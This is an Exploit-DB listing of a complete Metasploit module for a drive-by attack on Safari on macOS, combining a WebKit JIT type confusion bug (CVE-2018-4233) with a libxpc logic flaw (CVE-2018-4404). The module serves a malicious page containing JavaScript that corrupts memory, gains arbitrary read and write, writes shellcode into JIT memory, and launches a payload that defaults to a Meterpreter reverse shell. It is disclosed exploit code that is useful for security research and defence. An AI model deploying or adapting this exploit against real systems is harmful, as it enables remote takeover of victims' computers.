Safari - Proxy Object Type Confusion (Metasploit)

EDB-ID:

45998




Platform:

macOS

Date:

2018-12-14


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Safari Proxy Object Type Confusion',
      'Description'    => %q{
          This module exploits a type confusion bug in the Javascript Proxy object in
        WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
        it is possible to run arbitrary JS code during the execution of a CreateThis
        operation. This makes it possible to change the structure of e.g. an argument
        without causing a bailout, leading to a type confusion (CVE-2018-4233).

          The JIT region is then replaced with shellcode which loads the second stage.
        The second stage exploits a logic error in libxpc, which uses command execution
        via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'saelo' ],
      'References'     => [
          ['CVE', '2018-4233'],
          ['CVE', '2018-4404'],
          ['URL', 'https://github.com/saelo/cve-2018-4233'],
          ['URL', 'https://github.com/saelo/pwn2own2018'],
          ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
        ],
      'Arch'           => [ ARCH_PYTHON, ARCH_CMD ],
      'Platform'       => 'osx',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' },
      'Targets'        => [
          [ 'Python payload',  { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
        ],
      'DisclosureDate' => 'Mar 15 2018'))
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),
    ])
  end

  def offset_table
    {
      '10.12.6' => {
        :jsc_vtab => '0x0000d8d8',
        :dyld_stub_loader => '0x00001168',
        :dlopen => '0x000027f7',
        :confstr => '0x00002c84',
        :strlen => '0x00001b40',
        :strlen_got => '0xdc0',
      },
      '10.13' => {
        :jsc_vtab => '0x0000e5f8',
        :dyld_stub_loader => '0x000012a8',
        :dlopen => '0x00002e60',
        :confstr => '0x000024fc',
        :strlen => '0x00001440',
        :strlen_got => '0xee8',
      },
      '10.13.3' => {
        :jsc_vtab => '0xe5e8',
        :dyld_stub_loader => '0x1278',
        :dlopen => '0x2e30',
        :confstr => '0x24dc',
        :strlen => '0x1420',
        :strlen_got => '0xee0',
      },
    }
  end

  def exploit_data(directory, file)
    path = ::File.join Msf::Config.data_directory, 'exploits', directory, file
    ::File.binread path
  end

  def stage1_js
    stage1 = exploit_data "CVE-2018-4233", "stage1.bin"
    "var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);"
  end

  def stage2_js
    stage2 = exploit_data "CVE-2018-4404", "stage2.dylib"
    payload_cmd = payload.raw
    if target['Arch'] == ARCH_PYTHON
      payload_cmd = "echo \"#{payload_cmd}\" | python"
    end
    placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER')
    stage2[placeholder_index, payload_cmd.length] = payload_cmd
    "var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);"
  end

  def get_offsets(user_agent)
    if user_agent =~ /Intel Mac OS X (.*?)\)/
      version = $1.gsub("_", ".")
      mac_osx_version = Gem::Version.new(version)
      if mac_osx_version >= Gem::Version.new('10.13.4')
        print_warning "macOS version #{mac_osx_version} is not vulnerable"
      elsif mac_osx_version < Gem::Version.new('10.12')
        print_warning "macOS version #{mac_osx_version} is not vulnerable"
      elsif offset_table.key?(version)
        offset = offset_table[version]
        return <<-EOF
const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]};
const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]};
const DLOPEN_OFFSET = #{offset[:dlopen]};
const CONFSTR_OFFSET = #{offset[:confstr]};
const STRLEN_OFFSET = #{offset[:strlen]};
const STRLEN_GOT_OFFSET = #{offset[:strlen_got]};
EOF
      else
        print_warning "No offsets for version #{mac_osx_version}"
      end
    else
      print_warning "Unexpected User-Agent"
    end
    return false
  end

  def on_request_uri(cli, request)
    user_agent = request['User-Agent']
    print_status("Request from #{user_agent}")
    offsets = get_offsets(user_agent)
    unless offsets
      send_not_found(cli)
      return
    end

    utils = exploit_data "CVE-2018-4233", "utils.js"
    int64 = exploit_data "CVE-2018-4233", "int64.js"
    html = %Q^
<html>
<body>
<script>
#{stage1_js}
stage1.replace = function(oldVal, newVal) {
    for (var idx = 0; idx < this.length; idx++) {
        var found = true;
        for (var j = idx; j < idx + 8; j++) {
            if (this[j] != oldVal.byteAt(j - idx)) {
                found = false;
                break;
            }
        }
        if (found)
            break;
    }
    this.set(newVal.bytes(), idx);
};
#{stage2_js}
#{utils}
#{int64}
#{offsets}

var ready = new Promise(function(resolve) {
    if (typeof(window) === 'undefined')
        resolve();
    else
        window.onload = function() {
            resolve();
        }
});

ready = Promise.all([ready]);

print = function(msg) {
    //console.log(msg);
    //document.body.innerText += msg + '\\n';
}

// Must create this indexing type transition first,
// otherwise the JIT will deoptimize later.
var a = [13.37, 13.37];
a[0] = {};

var referenceFloat64Array = new Float64Array(0x1000);

//
// Bug: the DFG JIT does not take into account that, through the use of a
// Proxy, it is possible to run arbitrary JS code during the execution of a
// CreateThis operation. This makes it possible to change the structure of e.g.
// an argument without causing a bailout, leading to a type confusion.
//

//
// addrof primitive
//
function setupAddrof() {
    function InfoLeaker(a) {
        this.address = a[0];
    }

    var trigger = false;
    var leakme = null;
    var arg = null;

    var handler = {
        get(target, propname) {
            if (trigger)
                arg[0] = leakme;
            return target[propname];
        },
    };
    var InfoLeakerProxy = new Proxy(InfoLeaker, handler);

    for (var i = 0; i < 100000; i++) {
        new InfoLeakerProxy([1.1, 2.2, 3.3]);
    }

    trigger = true;

    return function(obj) {
        leakme = obj;
        arg = [1.1, 1.1];
        var o = new InfoLeakerProxy(arg);
        return o.address;
    };
}

//
// fakeobj primitive
//
function setupFakeobj() {
    function ObjFaker(a, address) {
        a[0] = address;
    }

    var trigger = false;
    var arg = null;

    var handler = {
        get(target, propname) {
            if (trigger)
                arg[0] = {};
            return target[propname];
        },
    };
    var ObjFakerProxy = new Proxy(ObjFaker, handler);

    for (var i = 0; i < 100000; i++) {
        new ObjFakerProxy([1.1, 2.2, 3.3], 13.37);
    }

    trigger = true;

    return function(address) {
        arg = [1.1, 1.1];
        var o = new ObjFakerProxy(arg, address);
        return arg[0];
    };
}

function makeJITCompiledFunction() {
    // Some code to avoid inlining...
    function target(num) {
        for (var i = 2; i < num; i++) {
            if (num % i === 0) {
                return false;
            }
        }
        return true;
    }

    // Force JIT compilation.
    for (var i = 0; i < 1000; i++) {
        target(i);
    }
    for (var i = 0; i < 1000; i++) {
        target(i);
    }
    for (var i = 0; i < 1000; i++) {
        target(i);
    }
    return target;
}

function pwn() {
    // Spray Float64Array structures so that structure ID 0x1000 will
    // be a Float64Array with very high probability
    var structs = [];
    for (var i = 0; i < 0x1000; i++) {
        var a = new Float64Array(1);
        a['prop' + i] = 1337;
        structs.push(a);
    }

    // Setup exploit primitives
    var addrofOnce = setupAddrof();
    var fakeobjOnce = setupFakeobj();

    // (Optional) Spray stuff to keep the background GC busy and increase reliability even further
    /*
    var stuff = [];
    for (var i = 0; i < 0x100000; i++) {
        stuff.push({foo: i});
    }
    */

    var float64MemView = new Float64Array(0x200);
    var uint8MemView = new Uint8Array(0x1000);

    // Setup container to host the fake Float64Array
    var jsCellHeader = new Int64([
        00, 0x10, 00, 00,     // m_structureID
        0x0,                  // m_indexingType
        0x2b,                 // m_type
        0x08,                 // m_flags
        0x1                   // m_cellState
    ]);

    var container = {
        jsCellHeader: jsCellHeader.asJSValue(),
        butterfly: null,
        vector: float64MemView,
        length: (new Int64('0x0001000000001337')).asJSValue(),
        mode: {},       // an empty object, we'll need that later
    };

    // Leak address and inject fake object
    // RawAddr == address in float64 form
    var containerRawAddr = addrofOnce(container);
    var fakeArrayAddr = Add(Int64.fromDouble(containerRawAddr), 16);
    print("[+] Fake Float64Array @ " + fakeArrayAddr);

    ///
    /// BEGIN CRITICAL SECTION
    ///
    /// Objects are corrupted, a GC would now crash the process.
    /// We'll try to repair everything as quickly as possible and with a minimal amount of memory allocations.
    ///
    var driver = fakeobjOnce(fakeArrayAddr.asDouble());
    while (!(driver instanceof Float64Array)) {
        jsCellHeader.assignAdd(jsCellHeader, Int64.One);
        container.jsCellHeader = jsCellHeader.asJSValue();
    }

    // Get some addresses that we'll need to repair our objects. We'll abuse the .mode
    // property of the container to leak addresses.
    driver[2] = containerRawAddr;
    var emptyObjectRawAddr = float64MemView[6];
    container.mode = referenceFloat64Array;
    var referenceFloat64ArrayRawAddr = float64MemView[6];

    // Fixup the JSCell header of the container to make it look like an empty object.
    // By default, JSObjects have an inline capacity of 6, enough to hold the fake Float64Array.
    driver[2] = emptyObjectRawAddr;
    var header = float64MemView[0];
    driver[2] = containerRawAddr;
    float64MemView[0] = header;

    // Copy the JSCell header from an existing Float64Array and set the butterfly to zero.
    // Also set the mode: make it look like an OversizeTypedArray for easy GC survival
    // (see JSGenericTypedArrayView<Adaptor>::visitChildren).
    driver[2] = referenceFloat64ArrayRawAddr;
    var header = float64MemView[0];
    var length = float64MemView[3];
    var mode = float64MemView[4];
    driver[2] = containerRawAddr;
    float64MemView[2] = header;
    float64MemView[3] = 0;
    float64MemView[5] = length;
    float64MemView[6] = mode;

    // Root the container object so it isn't garbage collected.
    // This will allocate a butterfly for the fake object and store a reference to the container there.
    // The fake array itself is rooted by the memory object (closures).
    driver.container = container;

    ///
    /// END CRITICAL SECTION
    ///
    /// Objects are repaired, we will now survive a GC
    ///
    if (typeof(gc) !== 'undefined')
        gc();

    memory = {
        read: function(addr, length) {
            driver[2] = memory.addrof(uint8MemView).asDouble();
            float64MemView[2] = addr.asDouble();
            var a = new Array(length);
            for (var i = 0; i < length; i++)
                a[i] = uint8MemView[i];
            return a;
        },

        write: function(addr, data) {
            driver[2] = memory.addrof(uint8MemView).asDouble();
            float64MemView[2] = addr.asDouble();
            for (var i = 0; i < data.length; i++)
                uint8MemView[i] = data[i];
        },

        read8: function(addr) {
            driver[2] = addr.asDouble();
            return Int64.fromDouble(float64MemView[0]);
        },

        write8: function(addr, value) {
            driver[2] = addr.asDouble();
            float64MemView[0] = value.asDouble();
        },

        addrof: function(obj) {
            float64MemView.leakme = obj;
            var butterfly = Int64.fromDouble(driver[1]);
            return memory.read8(Sub(butterfly, 0x10));
        },
    };

    print("[+] Got stable memory read/write!");

    // Find binary base
    var funcAddr = memory.addrof(Math.sin);
    var executableAddr = memory.read8(Add(funcAddr, 24));
    var codeAddr = memory.read8(Add(executableAddr, 24));
    var vtabAddr = memory.read8(codeAddr);
    var jscBaseUnaligned = Sub(vtabAddr, JSC_VTAB_OFFSET);
    print("[*] JavaScriptCore.dylib @ " + jscBaseUnaligned);
    var jscBase = And(jscBaseUnaligned, new Int64("0x7ffffffff000"));
    print("[*] JavaScriptCore.dylib @ " + jscBase);

    var dyldStubLoaderAddr = memory.read8(jscBase);
    var dyldBase = Sub(dyldStubLoaderAddr, DYLD_STUB_LOADER_OFFSET);
    var strlenAddr = memory.read8(Add(jscBase, STRLEN_GOT_OFFSET));
    var libCBase = Sub(strlenAddr, STRLEN_OFFSET);
    print("[*] dyld.dylib @ " + dyldBase);
    print("[*] libsystem_c.dylib @ " + libCBase);

    var confstrAddr = Add(libCBase, CONFSTR_OFFSET);
    print("[*] confstr @ " + confstrAddr);
    var dlopenAddr = Add(dyldBase, DLOPEN_OFFSET);
    print("[*] dlopen @ " + dlopenAddr);

    // Patching shellcode
    var stage2Addr = memory.addrof(stage2);
    stage2Addr = memory.read8(Add(stage2Addr, 16));
    print("[*] Stage 2 payload @ " + stage2Addr);

    stage1.replace(new Int64("0x4141414141414141"), confstrAddr);
    stage1.replace(new Int64("0x4242424242424242"), stage2Addr);
    stage1.replace(new Int64("0x4343434343434343"), new Int64(stage2.length));
    stage1.replace(new Int64("0x4444444444444444"), dlopenAddr);
    print("[+] Shellcode patched");

    // Leak JITCode pointer poison value
    var poison_addr = Add(jscBase, 305152);
    print("[*] Poison value @ " + poison_addr);
    var poison = memory.read8(poison_addr);
    print("[*] Poison value: " + poison);

    // Shellcode
    var func = makeJITCompiledFunction();
    var funcAddr = memory.addrof(func);
    print("[+] Shellcode function object @ " + funcAddr);
    var executableAddr = memory.read8(Add(funcAddr, 24));
    print("[+] Executable instance @ " + executableAddr);
    var jitCodeAddr = memory.read8(Add(executableAddr, 24));
    print("[+] JITCode instance @ " + jitCodeAddr);

    var codeAddrPoisoned = memory.read8(Add(jitCodeAddr, 32));
    var codeAddr = Xor(codeAddrPoisoned, poison);
    print("[+] RWX memory @ " + codeAddr.toString());
    print("[+] Writing shellcode...");
    var origCode = memory.read(codeAddr, stage1.length);
    memory.write(codeAddr, stage1);

    print("[!] Jumping into shellcode...");
    var res = func();
    if (res === 0) {
        print("[+] Shellcode executed sucessfully!");
    } else {
        print("[-] Shellcode failed to execute: error " + res);
    }

    memory.write(codeAddr, origCode);
    print("[*] Restored previous JIT code");

    print("[+] We are done here, continuing WebContent process as if nothing happened =)");
    if (typeof(gc) !== 'undefined')
        gc();
}

ready.then(function() {
    try {
        pwn();
    } catch (e) {
        print("[-] Exception caught: " + e);
    }
}).catch(function(err) {
    print("[-] Initializatin failed");
});

</script>
</body>
</html>
    ^
    unless datastore['DEBUG_EXPLOIT']
      html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '')
    end
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

end